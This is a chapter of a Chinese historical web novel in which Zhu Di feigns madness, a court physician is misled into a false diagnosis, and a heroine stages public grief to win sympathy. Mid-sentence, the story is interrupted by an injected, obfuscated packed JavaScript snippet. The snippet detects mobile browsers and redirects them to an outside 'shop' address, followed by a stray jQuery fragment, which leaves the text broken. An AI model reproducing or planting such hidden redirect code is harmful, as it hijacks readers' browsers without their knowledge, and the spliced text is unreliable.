22.苏小小抢戏
作品:《大明打工人》 “吴大人,皇上派来的御医到了,正在给王爷诊脉,您要去看看吗?”
监察御史吴柏听到同行侍卫来报,立刻放下写奏疏的毛笔,急忙戴上官帽往西边的马厩跑去。
自从半月前朱棣被湘王自焚事件惊得犯了癔症,吴柏就在燕王府住下了,看着朱棣一天比一天疯,他感到自己的乌纱帽离自己越来越远。
吴柏曾听张昺说过,燕王朱棣在北平的威势颇高,如果被他以前的部将知道他把燕王吓疯了,那就不是乌纱帽的问题了,是他这颗脑袋还能不能顶在脖子上的事。
因为朱棣现在住在马厩里,这里被打扫得异常干净,周围点着驱蚊虫的艾草,以及可以改善马厩气味的香料。
此时的朱棣裹着厚厚的被子,头发散乱,插着很多稻草,胡子上沾着点心碎和麸糠,一只脏兮兮的手在马食槽里翻草料,还会抓起草料往嘴里塞。
徐妙云见状想要上前阻拦,但是被苏小小拉住,因为每次有人阻拦朱棣吃草,都会被他无差别攻击。
从应天府来的御医是太医院院使沈千山。
能把他派来,可见皇帝对朱棣疯了这事是上心的,一来沈千山忠于皇帝,不会跟朱棣串通。二来他需要一个医术高的人下结论,如果朱棣真的疯了,那可是不费一兵一卒就解决了朱允炆的心头大患。
沈千山多次尝试给朱棣号脉,都被他大力推开了,此时只能靠望闻问判断朱棣的病情。
“沈院使。”吴柏深施一礼,“王爷如何了?可有法医治?”
“王爷不让切脉,下官委实不好判断。”
苏小小扶着徐妙云的胳膊,在她耳边轻声耳语,“王妃,您让张玉将王爷打晕,必须叫沈院使给王爷诊脉,否则此事做不实。”
徐妙云疑惑的看着苏小小,即便朱棣晕了,也不可能通过号脉就判断出他患了癔症。
只见苏小小坚定地点点头,大约是有了什么主意需要她配合。
徐妙云忧心地看着朱棣,“左护卫,将王爷打晕,让沈院使诊脉。”声音悲切却不容置疑。
张玉抱拳应下,走到还在食槽翻找草料的朱棣身后,犹豫了几息,抬手试了试力道,快速在朱棣脖颈处打了一击手刀。
朱棣翻了个白眼,缓缓倒下。张玉迅速接住,把他扶到朱能的背上,一行人快速赶去朱棣的寝殿。
沈千山跪在朱棣床榻旁,一方丝帕盖在他脏兮兮的手腕上,沈千山闭眼凝神听脉,殿内落针可闻。
许久之后,沈千山收起诊具,一群人便围了上来。
他向徐妙云行礼后回禀,“王妃,王爷脉象平稳,身体并无大碍。”
徐妙云皱眉正要发问,苏小小在她胳膊上按了按,“沈院使,王爷那日惊闻湘王出事,呕血后晕倒,撞到了头,醒来以后便不认人了,并且认知全无,不知是否与摔倒有关?”
“当真撞到了头?”
屋内人除了吴柏都重重点头,当时他已经被吓傻了,根本没有注意到朱棣有没有撞到头。
他此时努力回忆,都无法想起那时的具体情形,而且越想记忆就越模糊,根据苏小小的描述,好像是有那么回事。
沈千山看着吴柏,他需要朝廷的人给他一个准确的答复。
吴柏颤巍巍的点头,“王爷当时确实是吐血摔倒了,难道跟这有关系?”
“有关系,”沈千山转身向徐妙云解释,“人在极怒下的状态下,头部充血,此时若是磕碰到关键部位,造成颅内出血,确实会引发认知不清的病症,癔症也是其中之一。”
徐妙云眼泪掉了下来,她一边擦拭一边问:“沈院使,我知您医术高超,请您定要医好王爷。”
“下官自当尽力。”说罢,沈千山走到朱棣身边,在那杂乱的发缝间寻找是否有淤痕。
正当沈千山全神贯注检查时,朱棣醒了过来,一把推开沈千山,向马厩冲去,嘴里还喊着“本王要去打仗。”
张玉与朱能追了出去,留下徐妙云母子,和苏小小跟沈千山沟通病情。
“王妃,下官方才并未在王爷头部发现淤青,大约时间太久,表层淤血已被吸收,但颅内损伤情况还不好说。下官先开几副驱淤的药,再辅以针灸试试。”
徐妙云点头应下,“沈院使,王爷何时可以恢复?”
“这......王妃,您要做好准备,头部受伤造成的癔症,最是难治愈,很可能一辈子就这样了。”
徐妙云身形晃了晃,被朱高炽扶住,“劳烦沈院使速速开药吧。”
得到朱棣病情的诊断,吴柏不敢耽误,回到客房快速写好奏疏交给自己的侍卫,让他快马加速送回应天府。
自己也命人收拾了行囊准备南归,但去之前他需要把这事告诉张昺,让他早做准备。
吴柏离开,沈千山住进了燕王府。
夜半三更,朱棣让徐妙云带着苏小小,以及世子、郡王和心腹齐聚西边一个偏僻的小院。
朱棣大马金刀的坐在椅子上,拿着扇子快速扇着,“苏小小,你就不担心那吴柏咬死了本王并未撞到头吗?”
苏小小给朱棣倒了杯凉茶,“那吴大人不是个胆大的,大半个月前的事了,谁能记得当时具体什么样,今天突然被问起,心虚下只能按照小女描述的情景去回忆,他也会觉得好像是那样,这样引导下来,就会让沈院使做出错误的判断。”
“好像还真是的,苏姑娘今天说起王爷当日晕倒的情形,我也觉得王爷似乎撞到了头。”朱能在一旁补充道。
朱棣几大口喝完杯中茶水,满意道“吴柏大约已经把本王疯了,以及沈千山的诊断奏报给皇帝,如此便可松口气了。”
“王爷,侍卫下午送吴大人出府,见他并未出城,而是去了布政使张昺那。”张玉道。
苏小小猜测,就吴柏那胆小的性子,估计是去找张昺出主意去了,四月逼一个藩王自焚明志,五月再吓疯一个藩王。
那帮宗亲一定会出来讨说法,皇帝自然是无错的,齐泰与黄子澄也不可能担这个罪名,那么皇帝一定会拿他去做替罪羊。
苏小小替他哀悼三秒,决定再给他补一刀,“王爷,您不妨借此机会,再收取一波民心。如果将来有大事发生,最起码,百姓是站在您这一边的。”
王府要散播消息,都是张玉在办,一听苏小小的话,就知道这又来活了,“苏姑娘的意思是散播王爷被皇上逼疯的消息?”
苏小小摇摇头,“不只是散播消息,最好王爷可以出去卖惨,让百姓亲眼看到那位标榜仁德的皇上,是怎么对待自己亲叔叔的。”
“卖惨?”朱棣对这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925453|191675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个新词有些不理解。
苏小小暗自咂舌,嘴快了,“就是夸大悲惨遭遇来博取同情。王爷只需要继续装疯,张大人可以再安排一些人去围观,带动周边人的情绪,让百姓对王府的共情情绪达到顶峰。”
朱棣有些犹豫,让他在府里装疯已经够丢脸了,现在还要去街上。
徐妙云温和劝慰道:“王爷,韩信尚且能忍胯下之辱,您既有大志向,如何受不得小小屈辱。”
朱棣叹口气,“那明日本王就‘逃’出府去。”他又看向苏小小,伸手指着她,“你,明天也去!不是说卖惨吗?你去卖!”
苏小小瞪大了眼睛,伸出手指指着自己,推诿道:“我?王爷,我演戏不行。”
“不是你说需要带动周围人的情绪吗?你这么能说,此任务非你不可。”
苏小小无奈,“是,小女遵命。”
次日,苏小小像往常一样,提着菜篮子,带着穆船准备出门买菜,正当她抽出木栓开门时,朱棣不知道从哪儿突然窜出来,一把推开苏小小,跑了出去。
苏小小扔下菜篮,站在门口大喊:“快来人呀,王爷跑了。”喊完就追着朱棣的脚步,向闹市跑去。
这次,朱棣算是拼了,一进入闹市口,他便开始脱衣服,边脱边扔,苏小小跟在后面边追边捡。
终于朱棣在一个菜摊附近停下,抓起一块踩烂的南瓜就往嘴里塞。
朱棣异常的举动果然吸引了众人的围观,闹市人多,里三圈外三圈的把他围在了正中间。
苏小小抱着朱棣衣服站在圈外面,感慨影帝的戏路就是好,想抢他的戏可不容易。
于是苏小小撸起袖子,深吸一口气,使出吃奶的劲推开人群,在进入内圈时故意左脚绊右脚,重重摔了一跤,并发出一声极其造作的“哎哟”。
就这一声,让专心啃南瓜的朱棣都停顿了一瞬。
此刻他相信苏小小那句不善演戏,说的是真话。
苏小小的“哎呦”声吸引了大多数人的注意力,她挤出眼泪,开始背诵昨晚写好的台词。
“王爷啊,您的命怎么这么苦啊!去年刚没了爹,连最后一面都没见着。”苏小小边说边抹眼泪,"皇上看不上你们这些叔叔,把世子骗去京城关了快一年。今年就拿你们这些叔叔下手了,刚逼得贤德的湘王引火自焚,如今又把您给逼疯了。"
“想您征战十数年,为大明立下赫赫战功,将蒙元挡在山海关外。治理北平您爱民如子,才能让我们这些老百姓有富足的生活。可皇上身边有奸臣呐,容不下您啊......”
从人群中走来一个大娘,拉着苏小小的手,“姑娘,你说的是真的?王爷真的被逼疯了?”
苏小小抹着眼泪点头,“王爷重亲情,那日京里来了诏书,拿湘王的事刺激王爷,王爷当时就吐血了,后来不知道怎么就撞到了头,人醒来就成这样了。”
穆船这时好不容易从众多人腿间钻了出来,哀戚着猫脸望着苏小小,苏小小一把抱住穆船,嚎啕大哭,边哭边喊,“王爷疯了,我们燕王府以后可怎么办呀。”
等张玉带王府侍卫赶到时,就看到朱棣在啃烂南瓜,苏小小抱着她的肥猫在哭,围观的人不是唉声叹气就是在擦眼泪。
这就是卖惨吗?张玉觉得自己又学到了。

